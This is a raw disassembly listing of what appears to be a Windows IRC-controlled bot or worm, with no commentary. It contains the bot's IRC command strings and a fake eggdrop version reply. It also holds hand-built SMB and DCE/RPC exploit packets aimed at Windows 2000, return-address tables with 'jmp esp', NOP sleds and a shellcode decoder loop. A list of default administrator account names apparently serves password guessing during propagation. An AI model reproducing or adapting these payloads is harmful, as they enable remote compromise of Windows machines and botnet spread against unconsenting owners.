					; sub_40D74D:loc_40D76Eo
		align 10h
asc_41A070:				; DATA XREF: sub_40D871+CB7o
		unicode	0, <*>,0
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D871:loc_40E1C0o
					; sub_40E618+89o
		align 4
asc_41A07C	db '][',0               ; DATA XREF: sub_40D871+807o
					; sub_40D871+88Co
		align 10h
a332		db '332',0              ; DATA XREF: sub_40D871:loc_40DF8Eo
aNick		db 'NICK',0             ; DATA XREF: sub_40D871:loc_40DF3Eo
		align 4
a@:					; DATA XREF: sub_40D871:loc_40DEBEo
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40D871:loc_40DE96o
					; sub_40E618+33o
a451		db '451',0              ; DATA XREF: sub_40D871:loc_40DE70o
aUserhostS	db 'USERHOST %s',0      ; DATA XREF: sub_40D871+5C4o
					; sub_40D871+5EEo
aModeSXi	db 'MODE %s +xi',0      ; DATA XREF: sub_40D871+571o
a001		db '001',0              ; DATA XREF: sub_40D871:loc_40DD97o
aModeSSmntu	db 'MODE %s +smntu',0   ; DATA XREF: sub_40D871+515o
		align 4
aJoin		db 'JOIN',0             ; DATA XREF: sub_40D871:loc_40DD25o
		align 4
aError		db 'ERROR',0            ; DATA XREF: sub_40D871:loc_40DCFDo
		align 4
a433		db '433',0              ; DATA XREF: sub_40D871:loc_40DB2Do
dword_41A0D8	dd 4950013Ah, 1474Ehdword_41A0E0	dd 4950013Ah, 474Ehdword_41A0E8	dd 52455601h, 4E4F4953h, 1732520h, 0aEggdropV1_6_16	db 'eggdrop v1.6.16',0  ; DATA XREF: sub_40D871:loc_40DAD1o
dword_41A108	dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h
					; DATA XREF: sub_40D871+24Eo
		dd 73256433h, 69572820h, 2932336Eh, 1
dword_41A12C	dd 4556013Ah, 4F495352h, 14Ehdword_41A138	dd 4556013Ah, 4F495352h, 4EhaSend		db 'SEND',0             ; DATA XREF: sub_40D871+CDo
		align 4
dword_41A14C	dd 4344013Ah, 43haPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D871:loc_40D8DDo
					; sub_40D871+901o ...
aMode		db 'MODE',0             ; DATA XREF: sub_40D871:loc_40D8C2o
		align 4
aPong		db 'PONG',0             ; DATA XREF: sub_40D871:loc_40D8A7o
		align 4
aPongS		db 'PONG %s',0          ; DATA XREF: sub_40D871+25o
aPing		db 'PING',0             ; DATA XREF: sub_40D871+Ao
		align 4
aLinkLink@link	db 'link!link@link',0   ; DATA XREF: sub_40E618:loc_40E7A5o
		align 4
byte_41A18C	db 41h			; DATA XREF: sub_40E979+3Cr
					; sub_40EB4E+24r ...
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h
dword_41A1D0	dd 3430032Dh, 3732502h,	30032E02h, 73250234h, 202D0203h
					; DATA XREF: sub_4129CA+5Co
		dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h
		dd 63207325h, 6C706D6Fh, 2E657465h, 0
		dd 1130h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h)
		dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h
		dd 2 dup(77E216B8h), 1130h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
		dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch,	5E21B8EFh
		dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0
		dd 2 dup(4A9D5E21h), 0
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h)
		dd 2 dup(71AB7BFBh), 7C941EEDh,	77E216B8h, 77FD1F89h, 2	dup(77E216B8h)
		dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
aFxnbfxfxnbfxfx:
		unicode	0, <FXNBFXFXNBFXFXFXFX>,0
		align 4
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		align 8
		dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
		dd 20h,	0
		dd 20h,	5C005Ch, 0
		dd offset loc_43005C
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 10h
		dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
		dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h
dword_41A7A8	dd 5F5C0A0Dh, 2E2Fh					; sub_410B52+Fo
dword_41A7B0	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41A7FC	dd 3000005h, 10h, 5 dup(0)dword_41A818	dd 10005h, 2 dup(0)		dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch,	5 dup(0)
		dd 90000h, 300h, 0
		dd 300h, 5C005Ch, 0
dword_41A860	dd 0				dd 2, 0
		dd 1, 91C68h, 1, 2 dup(0)
		dd 0C0h, 46000000h, 2 dup(1), 7
; ---------------------------------------------------------------------------


loc_41A894:				; DATA XREF: sub_410649+153o
		mov	eax, [esp-4]
		add	eax, 0FFFFFAE0h
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h


loc_41A8A0:				; DATA XREF: sub_410649+E5o
		mov	eax, [ebp+30h]
		add	eax, 0FFFFFB24h
		jmp	eax
; ---------------------------------------------------------------------------
		align 4


loc_41A8AC:				; DATA XREF: sub_410649+202o
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------
		jmp	short loc_41A8C9
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_41A8B4:				; DATA XREF: sub_410649+2DBo
		jmp	short near ptr word_41A8BA
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0FFh)
word_41A8BA	dw 0			; CODE XREF: .packed:loc_41A8B4j
; ---------------------------------------------------------------------------


loc_41A8BC:				; DATA XREF: sub_410649+330o
		jmp	short near ptr word_41A8C2
; ---------------------------------------------------------------------------


loc_41A8BE:				; CODE XREF: .packed:loc_41A8ACj
					; .packed:loc_41A8DCj
		jmp	short loc_41A8C4
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_41A8C2	dw 0			; CODE XREF: .packed:loc_41A8BCj
; ---------------------------------------------------------------------------


loc_41A8C4:				; CODE XREF: .packed:loc_41A8BEj
					; DATA XREF: sub_410649+385o
		jmp	short near ptr loc_41A8C9+1
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 0FFh
; ---------------------------------------------------------------------------


loc_41A8C9:				; CODE XREF: .packed:0041A8AEj
					; .packed:loc_41A8C4j
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
off_41A8CC	dd offset loc_41005C	; DATA XREF: sub_410649+449o
		dd 2 dup(0)
dword_41A8D8	dd 77F33723h	; ---------------------------------------------------------------------------


loc_41A8DC:				; DATA XREF: sub_410649+286o
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------
		dw 7FFDh
; ---------------------------------------------------------------------------


loc_41A8E0:				; DATA XREF: sub_410649+22Eo
		lahf
		jnz	short loc_41A8FB


loc_41A8E3:				; DATA XREF: sub_410649+13Do
		add	[ecx+1Ch], bl


loc_41A8E6:				; CODE XREF: .packed:loc_41A8F0j
		add	[ecx], al


loc_41A8E8:				; DATA XREF: sub_410649+111o
		or	ecx, [ebx]
		sbb	eax, [eax]


loc_41A8EC:				; DATA XREF: sub_410649+127o
		jmp	short near ptr dword_41A8F4
; ---------------------------------------------------------------------------
		align 10h


loc_41A8F0:				; DATA XREF: sub_410649+FBo
		jmp	short loc_41A8E6
; ---------------------------------------------------------------------------
		align 4
dword_41A8F4	dd 85000000h	; ---------------------------------------------------------------------------
		call	dword ptr [ebx+4Dh]


loc_41A8FB:				; CODE XREF: .packed:0041A8E1j
		inc	edx
		jb	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0
		dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
		dd offset loc_401495
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
		dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
		dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)
; ---------------------------------------------------------------------------
		sub	sp, 71Ch
		jmp	esp
; ---------------------------------------------------------------------------
		align 4
		dd 1004600h, 7515123Ch,	751C123Ch, 42B68ABAh, 42D01E50h
		dd 34000112h, 0
		dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh
		dd 10h,	0
		dd 34EEA51Bh, 0
		dd 12400h, 0
dword_41AF50	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_410B52+62o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_41AFDC	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+A2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_41B088	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+E2o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_41B168	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+13Co
		dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_41B1A8	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+179o
		dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h,	0
dword_41B20C	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+1B9o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41B2B0	dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+216o
		dd 3900800h, 3C1D0800h,	1C000010h, 0E0040003h, 0FFh, 2 dup(0)
		dd 1C004A00h, 2004A03h,	2600h, 5C032340h, 45504950h, 5005Ch
		dd 100300h, 31C0000h, 0
		dd 3040000h, 0
		dd 4221001Fh, 184E8h, 0
		dd 10000h, 0
		dd 1630000h, 0
		dd 1630000h, 0
dword_41B338	dd 0				dd 0D7h, 1, 0
		dd 1, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
dword_41B35C	dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+348o
		dd 1C80800h, 7CC90800h,	80000010h, 0E0040004h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A04h,	2600h, 5C048740h, 45504950h, 5005Ch
		dd 100300h, 4800000h, 0
		dd 4680000h, 0
		dd 72B3001Fh, 1A381h, 0
		dd 10000h, 0
		dd 2150000h, 0
		dd 2150000h, 0
dword_41B3E4	dd 0				dd 85h,	2, 0
		dd 2, 2EBh, 85h, 2 dup(0)
dword_41B408	dd 20804h, 0						; sub_410B52+29Bo ...
dword_41B410	dd 2080Ah, 0			dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_1:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_2:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
		dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5A00FF04h, 1000800h, 2F00h, 0
		dd 3F3F0000h, 3F3F3Fh, 0
		dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h,	0
		dd 2019Fh, 4 dup(0)
		dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h,	720065h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 500800h, 48000010h, 0
		dd 10h,	2 dup(0)
		dd 48005400h, 2005400h,	2600h, 5940h, 50005Ch, 500049h
		dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
		dd 0
		dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		align 10h
		jmp	short loc_41B84A
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_41B852
; ---------------------------------------------------------------------------


loc_41B84A:				; CODE XREF: .packed:0041B840j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah


loc_41B852:				; CODE XREF: .packed:0041B848j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 9090767Ah
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_41B8A1
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------


loc_41B8A1:				; CODE XREF: .packed:0041B897j
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		db 8 dup(90h)
; ---------------------------------------------------------------------------
		jmp	short loc_41B97E
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_41B986
; ---------------------------------------------------------------------------


loc_41B97E:				; CODE XREF: .packed:0041B974j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah


loc_41B986:				; CODE XREF: .packed:0041B97Cj
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		jns	short near ptr word_41B9F6
		add	[ecx], eax
		jmp	short loc_41B9C6
; ---------------------------------------------------------------------------
		align 10h
		dd 767A1567h
		db 2 dup(90h)
; ---------------------------------------------------------------------------


loc_41B9C6:				; CODE XREF: .packed:0041B9BCj
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_41B9D5
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------


loc_41B9D5:				; CODE XREF: .packed:0041B9CBj
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
		dd 7E0h, 4, 0
		db 2 dup(0)
word_41B9F6	dw 0			; CODE XREF: .packed:0041B9B8j
		dd 0D0EC8166h, 7, 129F74h, 0
		dd 127D78h, 0
; ---------------------------------------------------------------------------
		pusha
		jmp	short loc_41BA16

; =============== S U B	R O U T	I N E =======================================



sub_41BA13	proc near		; CODE XREF: .packed:loc_41BA16p
		pop	ebx
		push	ebx
		retn
sub_41BA13	endp

; ---------------------------------------------------------------------------


loc_41BA16:				; CODE XREF: .packed:0041BA11j
		call	sub_41BA13
		xor	eax, eax
		add	al, 34h
		add	eax, ebx
		push	eax
		pop	ebx


loc_41BA23:				; CODE XREF: .packed:0041BA4Cj
		xor	edx, edx
		add	dl, [eax]
		inc	eax
		add	dh, [eax]
		inc	eax
		push	eax
		xor	eax, eax
		add	al, 41h
		sub	dl, al
		sub	dh, al
		shl	dl, 4
		shr	dx, 4
		xor	eax, eax
		xor	dh, dh
		add	al, [ebx]
		sub	[ebx], al
		add	[ebx], dx
		inc	ebx
		pop	eax
		xor	ecx, ecx
		add	cl, [eax]
		loopne	loc_41BA23
		popa
		add	[ebx+31h], al
		mov	ebp, 7FC77h
		add	[ecx], al
		inc	ebx


loc_41BA5A:				; CODE XREF: .packed:0041BA5Cj
		xor	eax, eax
		ja	short loc_41BA5A
		pop	es
; ---------------------------------------------------------------------------
		db 0
		dd 4F020100h, 7E7655Bh,	0
		dd 195h, 30B0005h, 10h,	48h, 1,	16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
byte_41BB00	db 90h			; DATA XREF: sub_410F60+35r
					; sub_410F60+73r ...
dword_41BB01	dd 0				db 9Eh,	2 dup(0)
		dd 0F50000h, 0F8000000h, 0
		dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h
		dd 1400000h, 41000000h,	4, 842h, 24300h, 40450000h, 46000000h
		dd 10h,	2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h
		dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h
		dd 9, 393h, 419500h, 11960000h,	97000000h, 21h,	999h, 0
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
